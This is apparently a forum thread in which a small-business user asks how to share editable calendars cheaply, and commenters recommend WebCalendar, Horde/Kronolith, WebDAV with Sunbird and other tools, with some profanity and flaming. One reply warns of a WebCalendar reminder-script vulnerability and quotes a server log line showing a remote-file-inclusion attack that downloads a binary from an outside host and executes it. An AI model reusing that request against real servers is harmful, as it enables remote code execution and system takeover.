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How To (Really) Share A Simple Calendar?

Lucas asks: "I run a small business as one of the people who 'knows something about computers', which now means, like many of you, I find myself having to solve IT problems. We have been trying to share maybe three simple, stupid calendars. Here's the catch -- we need to able to edit each other's calendars! This is where the problem comes in. We tried Mozilla Calendar/Sunbird with a WebDAV server (even though it deleted two calendars upon upload and barfed on a third, my office loves Sunbird's interface), OfficeZilla (too complicated for just one calendar), Calendars.net (too slow), ACT! (bolted on and expensive), and Yahoo (not designed for corporate stuff). Even iCal won't let you edit someone else's calendar. Is there any way to do this -reliably- without using MS Exchange and without spending a ton of money?"

11 of 118 comments (clear)

  1. webcalendar by haydenth · · Score: 4, Informative

    I use (and love)webcalendar.

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    - tom -
    1. Re:webcalendar by B00yah · · Score: 4, Informative

      Be careful. I ran in to an issue with web calendar 1.0.1, where someone used a php vulnerability built in to the reminder function to upload and execute remote software.

      212.138.47.24 - - [29/Aug/2005:14:01:50 -0500] "GET /calendar/tools/send_reminders.php?includedir=http ://aimbig.co.kr/readme/img/.nd1.dat?&cmd=cd%20/tmp ;wget%20http://www.fullteam.net/xpl/r0nin;chmod%20 777%20r0nin;./r0nin HTTP/1.0" 200 17169 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)"

  2. Kerio MailServer by johnjones · · Score: 4, Informative

    there are many ways of doing what you want

    you can use webserver with a web calendar or various custom applications depending on how you work

    Or

    You could use Kerio Mail server this allows multiple people access to a calendar i.e. a shared calendar for the web and Microsoft Outlook

    see Kerio MailServer

    regards

    John Jones

    discalimer I work for Kerio

  3. A test to destruction... by davecb · · Score: 4, Insightful
    An academic colleague (Hi, Paul!) once said that managing a team's calendars was a test to destruction of most artificial intelligence systems.

    I expect it's hard even when you get to use human intelligence.

    --dave

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    davecb@spamcop.net
  4. Horde by rmm4pi8 · · Score: 5, Informative

    The best simple solution is Horde and its Kronolith calendaring application. Lets you set up shared calendars and set editing permissions. Doesn't automatically figure out when meeting times will work for everyone, but it's easy and it will do your email, tasks, and time-tracking as well. If you need any help setting it up, check the mailing lists or just email me (I worked on Horde for my Summer of Code project).

    --
    U.S. War Crimes blog. Email for free Mandriva support.
  5. You were so close by Just+Some+Guy · · Score: 5, Insightful
    First, you neglected to mention which OS(es) you're targetting, so we'll just have to guess.

    Anyway, you were on track with the WebDAV server. I use Apache 2's built-in mod_dav to host several calendars, and view/edit them with Sunbird (Windows) and Korganizer (Unix). I think your time would be better served debugging your first attempt than starting over from scratch.

    --
    Dewey, what part of this looks like authorities should be involved?
  6. WebDAV Versioning by Noksagt · · Score: 4, Informative
    We tried Mozilla Calendar/Sunbird with a WebDAV server (even though it deleted two calendars upon upload and barfed on a third, my office loves Sunbird's interface)
    I'm a huge fan of WebDAV+iCal & I suggest you try again & solve some of the problems you encountered. If needed, automatically backup your WebDAV content and/or choose a better WebDAV module. It is too bad that WebDAV doesn't have true versioning, but there are implementations which do DeltaV versioning, which would solve a lot of this.

    Also look into the fledgling CalDAV implementations & projects like Hula (server) and Chandler (client). Very recent binaries of Sunbird also sport CalDAV support.
  7. Sunbird Deletes Calanders! (But it's fixable) by zulux · · Score: 4, Informative


    When you have a WebDAV server setup and have Sunbird/Mozilla Calander setup - it will delete calendars that have zero items. Delete the last item in your calendar, and POOF, you have a zero byte .ics file. Once you begin to use your calendar, this problem goes away. But when you're just testing things it looks like a show stopper.

    --

    Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

  8. Re:MS does have things that are worth the money by thegrassyknowl · · Score: 4, Insightful

    IF YOU DON'T USE THE BEST TOOLS YOU CAN GET, YOU ARE A MORON! Outlook/Exchange happens to be the best tool right now.

    I must be a MORON!!! I use OpenBSD and Linux exclusively and I can't use Outlook/Exchange. I'm not prepared to run my Internet-facing mail server on Exchange (you need mail abilities to use the calendar to its full potential). Putting a M$ product on the greater Internet says more about how moronic you are than not using the best tool for the job.

    There are dozens of great tools for simple calendaring. Did you look at Hoarde (http://www.hoarde.org? I bet you didn't. Hoarde have a whole suite of PHP-based groupware applications from Webmail to calendaring to practically anything else you can think of.

    Why would you want a bloated, arbitrarily limited, buggy Exchange program running on a fundamentally flawed OS when you can have a PHP-based application running in any webserver you can make PHP work in (usually Apache, but others exist) on any OS that can run the webserver (OpenBSD is my choice for server OS, Linux might float your boat). Sure, there's no client-side application and it's all web based, but the Outlook program leaves a lot to be desired anyway. If it wasn't mandated here by some manager to use Outlook I'd be using a real client without even thinking about it.

    Think twice before you start calling people morons. OSS might not be the answer to everything, but if you're using other OSS tools the suggesting that a MS tool is the way to go is just being stupid. How do you propose that I get Outlook clients running in a Linux-only shop? The web client for Exchange hides most of the functions that make the groupware in Exchange so "great".

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    I drink to make other people interesting!
  9. Re:MS does have things that are worth the money by jrockway · · Score: 4, Informative

    M-x calendar serves all of my team's calendaring needs. Check the plain text file into and out of CVS and you have distributed calendaring with revision control.

    Oh, but that doesn't cost hundreds of thousands of dollars or have a shiny GUI. Boo fucking hoo. Fuck Windows, and fuck Microsoft.

    --
    My other car is first.
  10. Various good web-based options. by Domini · · Score: 4, Informative

    In order of preference:

    1. horde-kronolith http://www.horde.org/kronolith/ (horde suite is quite comprehensive and easy to set up)
    2. webcalendar http://www.k5n.us/webcalendar.php
    3. MediaWiki with calendar plugin (a little bit tricky to set up, and not as great to use as previous two)

    Basically the shared feature of horde is pretty powerfull with a good rights-system. They also alow calendars to be exported etc.

    Check them out.